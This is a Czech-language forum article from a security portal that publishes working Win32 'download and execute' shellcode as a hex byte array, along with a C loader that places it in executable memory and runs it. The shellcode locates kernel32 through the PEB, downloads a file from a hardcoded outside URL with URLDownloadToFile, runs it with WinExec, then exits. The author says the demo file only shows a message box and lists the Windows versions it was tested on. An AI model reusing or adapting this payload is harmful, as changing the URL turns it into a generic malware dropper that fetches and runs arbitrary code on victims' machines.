Allwin URLDownloadToFile + WinExec + ExitProcess Shellcode

Vložil/a RubberDuck [1], 22 Leden, 2013 - 17:16

- Programming [2]

Kód Win32 portable shellcodu s funkcí "Stáhni a spusť". Využívá funkce URLDownloadToFile (urlmon.dll), WinExec a ExitProcess (oba kernel32.dll). Ukázkový příklad se stahuje z URL adresy http://bflow.security-portal.cz/down/xy.txt [3] a po spuštění zobrazí MessageBox se zprávou "Test application for Allwin URLDownloadToFile shellcode" a titulkem ">> Author: RubberDuck - http://bflow.security-portal.cz [4] <<". Shellcode byl testován na systémech Win 2k, Win XP Home SP2/SP3 CZ (32), Win 7 (32/64) (díky za pomoc s testováním :)).

```
#include <windows.h>
#include <stdio.h>

int main(){
    unsigned char shellcode[] =
"\x33\xC9\x64\x8B\x41\x30\x8B\x40\x0C\x8B"
"\x70\x14\xAD\x96\xAD\x8B\x58\x10\x8B\x53"
"\x3C\x03\xD3\x8B\x52\x78\x03\xD3\x8B\x72"
"\x20\x03\xF3\x33\xC9\x41\xAD\x03\xC3\x81"
"\x38\x47\x65\x74\x50\x75\xF4\x81\x78\x04"
"\x72\x6F\x63\x41\x75\xEB\x81\x78\x08\x64"
"\x64\x72\x65\x75\xE2\x8B\x72\x24\x03\xF3"
"\x66\x8B\x0C\x4E\x49\x8B\x72\x1C\x03\xF3"
"\x8B\x14\x8E\x03\xD3\x33\xC9\x51\x68\x2E"
"\x65\x78\x65\x68\x64\x65\x61\x64\x53\x52"
"\x51\x68\x61\x72\x79\x41\x68\x4C\x69\x62"
"\x72\x68\x4C\x6F\x61\x64\x54\x53\xFF\xD2"
"\x83\xC4\x0C\x59\x50\x51\x66\xB9\x6C\x6C"
"\x51\x68\x6F\x6E\x2E\x64\x68\x75\x72\x6C"
"\x6D\x54\xFF\xD0\x83\xC4\x10\x8B\x54\x24"
"\x04\x33\xC9\x51\x66\xB9\x65\x41\x51\x33"
"\xC9\x68\x6F\x46\x69\x6C\x68\x6F\x61\x64"
"\x54\x68\x6F\x77\x6E\x6C\x68\x55\x52\x4C"
"\x44\x54\x50\xFF\xD2\x33\xC9\x8D\x54\x24"
"\x24\x51\x51\x52\xEB\x47\x51\xFF\xD0\x83"
"\xC4\x1C\x33\xC9\x5A\x5B\x53\x52\x51\x68"
"\x78\x65\x63\x61\x88\x4C\x24\x03\x68\x57"
"\x69\x6E\x45\x54\x53\xFF\xD2\x6A\x05\x8D"
"\x4C\x24\x18\x51\xFF\xD0\x83\xC4\x0C\x5A"
"\x5B\x68\x65\x73\x73\x61\x83\x6C\x24\x03"
"\x61\x68\x50\x72\x6F\x63\x68\x45\x78\x69"
"\x74\x54\x53\xFF\xD2\xFF\xD0\xE8\xB4\xFF"
"\xFF\xFF"
// http://bflow.security-portal.cz/down/xy.txt
"\x68\x74\x74\x70\x3A\x2F\x2F\x62"
"\x66\x6C\x6F\x77\x2E\x73\x65\x63\x75\x72"
"\x69\x74\x79\x2D\x70\x6F\x72\x74\x61\x6C"
"\x2E\x63\x7A\x2F\x64\x6F\x77\x6E\x2F\x78"
"\x79\x2E\x74\x78\x74\x00";
```

```
    LPVOID lpAlloc = NULL;
    void (*pfunc)();

    lpAlloc = VirtualAlloc(0, 4096,
                           MEM_COMMIT,
                           PAGE_EXECUTE_READWRITE);

    if(lpAlloc == NULL){
        printf("Memory isn't allocated!\n");
        return 0;
    }

    memcpy(lpAlloc, shellcode, lstrlenA((LPCSTR)shellcode) + 1);

    pfunc = (void (*)())lpAlloc;

    pfunc();

    return 0;
}
```

URL článku: https://security-portal.cz/clanky/allwin-urldownloadtofile-winexec-exitprocess-shellcode

Odkazy:
[1] https://security-portal.cz/users/rubberduck
[2] https://security-portal.cz/category/tagy/programming
[3] http://bflow.security-portal.cz/down/xy.txt
[4] http://bflow.security-portal.cz